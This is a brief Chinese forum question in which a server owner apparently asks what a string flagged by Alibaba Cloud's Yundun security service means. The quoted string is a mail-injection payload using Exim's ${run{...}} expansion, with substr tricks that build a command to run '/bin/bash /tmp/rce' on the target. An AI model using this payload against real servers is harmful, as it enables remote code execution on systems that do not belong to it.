https://ooo.0o0.ooo/2017/05/31/592e5c3e9df87.png 阿里云的云盾,这串玩意儿是干啥 target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce}} null)
这里不应该是我服务器的 ip 或者域名吗